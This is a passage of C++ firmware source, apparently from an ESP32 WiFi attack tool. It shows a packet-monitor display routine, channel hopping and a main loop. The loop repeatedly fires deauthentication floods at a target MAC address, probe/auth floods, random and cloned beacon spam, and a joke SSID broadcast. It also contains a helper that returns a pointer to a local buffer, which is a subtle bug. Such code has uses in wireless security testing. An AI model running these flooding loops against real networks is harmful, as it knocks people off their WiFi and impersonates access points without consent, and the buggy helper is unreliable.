  2681. display_obj.tftDrawXScaleButtons(x_scale);
  2682. display_obj.tftDrawYScaleButtons(y_scale);
  2683. display_obj.tftDrawChannelScaleButtons(set_channel);
  2684. display_obj.tftDrawExitScaleButtons();
  2685. break;
  2686. }
  2687. }
  2688. // X + button pressed
  2689. else if (b == 1) {
  2690. if (x_scale < 6) {
  2691. x_scale++;
  2692. delay(70);
  2693. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2694. display_obj.tftDrawXScaleButtons(x_scale);
  2695. display_obj.tftDrawYScaleButtons(y_scale);
  2696. display_obj.tftDrawChannelScaleButtons(set_channel);
  2697. display_obj.tftDrawExitScaleButtons();
  2698. break;
  2699. }
  2700. }
  2701. // Y - button pressed
  2702. else if (b == 2) {
  2703. if (y_scale > 1) {
  2704. y_scale--;
  2705. delay(70);
  2706. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2707. display_obj.tftDrawXScaleButtons(x_scale);
  2708. display_obj.tftDrawYScaleButtons(y_scale);
  2709. display_obj.tftDrawChannelScaleButtons(set_channel);
  2710. display_obj.tftDrawExitScaleButtons();
  2711. //updateMidway();
  2712. break;
  2713. }
  2714. }
  2715. // Y + button pressed
  2716. else if (b == 3) {
  2717. if (y_scale < 9) {
  2718. y_scale++;
  2719. delay(70);
  2720. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2721. display_obj.tftDrawXScaleButtons(x_scale);
  2722. display_obj.tftDrawYScaleButtons(y_scale);
  2723. display_obj.tftDrawChannelScaleButtons(set_channel);
  2724. display_obj.tftDrawExitScaleButtons();
  2725. //updateMidway();
  2726. break;
  2727. }
  2728. }
  2729. // Channel - button pressed
  2730. else if (b == 4) {
  2731. if (set_channel > 1) {
  2732. Serial.println("Shit channel down");
  2733. set_channel--;
  2734. delay(70);
  2735. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2736. display_obj.tftDrawXScaleButtons(x_scale);
  2737. display_obj.tftDrawYScaleButtons(y_scale);
  2738. display_obj.tftDrawChannelScaleButtons(set_channel);
  2739. display_obj.tftDrawExitScaleButtons();
  2740. changeChannel();
  2741. break;
  2742. }
  2743. }
  2744. // Channel + button pressed
  2745. else if (b == 5) {
  2746. if (set_channel < MAX_CHANNEL) {
  2747. Serial.println("Shit channel up");
  2748. set_channel++;
  2749. delay(70);
  2750. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2751. display_obj.tftDrawXScaleButtons(x_scale);
  2752. display_obj.tftDrawYScaleButtons(y_scale);
  2753. display_obj.tftDrawChannelScaleButtons(set_channel);
  2754. display_obj.tftDrawExitScaleButtons();
  2755. changeChannel();
  2756. break;
  2757. }
  2758. }
  2759. else if (b == 6) {
  2760. Serial.println("Exiting packet monitor...");
  2761. this->StartScan(WIFI_SCAN_OFF);
  2762. //display_obj.tft.init();
  2763. this->orient_display = true;
  2764. return;
  2765. }
  2766. }
  2767. }
  2768. if (currentTime - initTime >= GRAPH_REFRESH) {
  2769. //Serial.println("-----------------------------------------");
  2770. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2771. x_pos += x_scale;
  2772. initTime = millis();
  2773. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2774. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2775. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2776. //Serial.println("num_beacon: " + (String)num_beacon);
  2777. //Serial.println("num_deauth: " + (String)num_deauth);
  2778. //Serial.println(" num_probe: " + (String)num_probe);
  2779. num_beacon = 0;
  2780. num_probe = 0;
  2781. num_deauth = 0;
  2782. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2783. //Plot "X" value
  2784. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2785. //Plot "Z" value
  2786. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2787. //Plot "Y" value
  2788. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2789. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2790. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2791. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2792. {
  2793. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2794. }
  2795. else
  2796. {
  2797. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2798. }
  2799. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2800. //if (x_pos <= 90)
  2801. if (x_pos < 0) // below x axis
  2802. {
  2803. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2804. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2805. }
  2806. else
  2807. {
  2808. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2809. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2810. }
  2811. //tftDisplayTime();
  2812. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2813. {
  2814. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2815. }
  2816. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2817. y_pos_y_old = y_pos_y;
  2818. y_pos_z_old = y_pos_z;
  2819. //delay(50);
  2820. }
  2821. sd_obj.main();
  2822. }
  2823. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2824. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2825. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2826. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2827. display_obj.tftDrawYScaleButtons(y_scale);
  2828. display_obj.tftDrawChannelScaleButtons(set_channel);
  2829. display_obj.tftDrawExitScaleButtons();
  2830. display_obj.tftDrawColorKey();
  2831. display_obj.tftDrawGraphObjects(x_scale);
  2832. }
  2833. #endif
  2834. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2835. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2836. // showMetadata(snifferPacket, type);
  2837. //}
  2838. void WiFiScan::changeChannel(int chan) {
  2839. this->set_channel = chan;
  2840. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2841. delay(1);
  2842. }
  2843. void WiFiScan::changeChannel()
  2844. {
  2845. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2846. delay(1);
  2847. }
  2848. // Function to cycle to the next channel
  2849. void WiFiScan::channelHop()
  2850. {
  2851. this->set_channel = this->set_channel + 1;
  2852. if (this->set_channel > 13) {
  2853. this->set_channel = 1;
  2854. }
  2855. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2856. delay(1);
  2857. }
  2858. char* WiFiScan::stringToChar(String string) {
  2859. char buf[string.length() + 1] = {};
  2860. string.toCharArray(buf, string.length() + 1);
  2861. return buf;
  2862. }
  2863. // Function for updating scan status
  2864. void WiFiScan::main(uint32_t currentTime)
  2865. {
  2866. // WiFi operations
  2867. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2868. (currentScanMode == WIFI_SCAN_AP) ||
  2869. (currentScanMode == WIFI_SCAN_STATION) ||
  2870. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2871. (currentScanMode == WIFI_SCAN_PWN) ||
  2872. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2873. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2874. (currentScanMode == WIFI_SCAN_ALL))
  2875. {
  2876. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2877. {
  2878. initTime = millis();
  2879. channelHop();
  2880. }
  2881. }
  2882. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2883. {
  2884. #ifdef HAS_SCREEN
  2885. #ifndef MARAUDER_MINI
  2886. packetMonitorMain(currentTime);
  2887. #endif
  2888. #endif
  2889. }
  2890. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2891. {
  2892. #ifdef HAS_SCREEN
  2893. #ifndef MARAUDER_MINI
  2894. eapolMonitorMain(currentTime);
  2895. #endif
  2896. #endif
  2897. }
  2898. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2899. {
  2900. #ifdef HAS_SCREEN
  2901. eapolMonitorMain(currentTime);
  2902. #endif
  2903. }
  2904. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2905. for (int i = 0; i < 55; i++)
  2906. this->sendProbeAttack(currentTime);
  2907. if (currentTime - initTime >= 1000) {
  2908. initTime = millis();
  2909. String displayString = "";
  2910. String displayString2 = "";
  2911. displayString.concat(text18);
  2912. displayString.concat(packets_sent);
  2913. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2914. displayString2.concat(" ");
  2915. #ifdef HAS_SCREEN
  2916. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2917. display_obj.showCenterText(displayString2, 160);
  2918. display_obj.showCenterText(displayString, 160);
  2919. #endif
  2920. packets_sent = 0;
  2921. }
  2922. }
  2923. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2924. for (int i = 0; i < 55; i++)
  2925. this->sendDeauthAttack(currentTime, this->dst_mac);
  2926. if (currentTime - initTime >= 1000) {
  2927. initTime = millis();
  2928. String displayString = "";
  2929. String displayString2 = "";
  2930. displayString.concat(text18);
  2931. displayString.concat(packets_sent);
  2932. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2933. displayString2.concat(" ");
  2934. #ifdef HAS_SCREEN
  2935. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2936. display_obj.showCenterText(displayString2, 160);
  2937. display_obj.showCenterText(displayString, 160);
  2938. #endif
  2939. packets_sent = 0;
  2940. }
  2941. }
  2942. else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
  2943. for (int i = 0; i < 55; i++)
  2944. this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
  2945. if (currentTime - initTime >= 1000) {
  2946. initTime = millis();
  2947. String displayString = "";
  2948. String displayString2 = "";
  2949. displayString.concat(text18);
  2950. displayString.concat(packets_sent);
  2951. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2952. displayString2.concat(" ");
  2953. #ifdef HAS_SCREEN
  2954. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2955. display_obj.showCenterText(displayString2, 160);
  2956. display_obj.showCenterText(displayString, 160);
  2957. #endif
  2958. packets_sent = 0;
  2959. }
  2960. }
  2961. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2962. // Need this for loop because getTouch causes ~10ms delay
  2963. // which makes beacon spam less effective
  2964. for (int i = 0; i < access_points->size(); i++) {
  2965. if (access_points->get(i).selected)
  2966. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2967. random(256),
  2968. random(256),
  2969. random(256),
  2970. random(256),
  2971. random(256)}});
  2972. }
  2973. if (currentTime - initTime >= 1000)
  2974. {
  2975. initTime = millis();
  2976. //Serial.print("packets/sec: ");
  2977. //Serial.println(packets_sent);
  2978. String displayString = "";
  2979. String displayString2 = "";
  2980. displayString.concat(text18);
  2981. displayString.concat(packets_sent);
  2982. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2983. displayString2.concat(" ");
  2984. #ifdef HAS_SCREEN
  2985. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2986. display_obj.showCenterText(displayString2, 160);
  2987. display_obj.showCenterText(displayString, 160);
  2988. #endif
  2989. packets_sent = 0;
  2990. }
  2991. }
  2992. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2993. {
  2994. // Need this for loop because getTouch causes ~10ms delay
  2995. // which makes beacon spam less effective
  2996. for (int i = 0; i < 55; i++)
  2997. broadcastRandomSSID(currentTime);
  2998. if (currentTime - initTime >= 1000)
  2999. {
  3000. initTime = millis();
  3001. //Serial.print("packets/sec: ");
  3002. //Serial.println(packets_sent);
  3003. String displayString = "";
  3004. String displayString2 = "";
  3005. displayString.concat(text18);
  3006. displayString.concat(packets_sent);
  3007. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3008. displayString2.concat(" ");
  3009. #ifdef HAS_SCREEN
  3010. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3011. display_obj.showCenterText(displayString2, 160);
  3012. display_obj.showCenterText(displayString, 160);
  3013. #endif
  3014. packets_sent = 0;
  3015. }
  3016. }
  3017. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  3018. for (int i = 0; i < ssids->size(); i++)
  3019. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  3020. if (currentTime - initTime >= 1000)
  3021. {
  3022. initTime = millis();
  3023. packets_sent = 0;
  3024. }
  3025. }
  3026. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  3027. for (int i = 0; i < access_points->size(); i++) {
  3028. if (access_points->get(i).selected)
  3029. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  3030. }
  3031. if (currentTime - initTime >= 1000) {
  3032. initTime = millis();
  3033. packets_sent = 0;
  3034. }
  3035. }
  3036. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  3037. {
  3038. // Need this for loop because getTouch causes ~10ms delay
  3039. // which makes beacon spam less effective
  3040. for (int i = 0; i < 7; i++)
  3041. {
  3042. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  3043. {
  3044. broadcastSetSSID(currentTime, rick_roll[x]);
  3045. }
  3046. }
  3047. if (currentTime - initTime >= 1000)
  3048. {
  3049. initTime = millis();
  3050. //Serial.print("packets/sec: ");
  3051. //Serial.println(packets_sent);
  3052. String displayString = "";
  3053. String displayString2 = "";
  3054. displayString.concat(text18);
  3055. displayString.concat(packets_sent);
  3056. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3057. displayString2.concat(" ");
  3058. #ifdef HAS_SCREEN
  3059. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3060. display_obj.showCenterText(displayString2, 160);
  3061. display_obj.showCenterText(displayString, 160);
  3062. #endif
  3063. packets_sent = 0;
  3064. }
  3065. }
  3066. }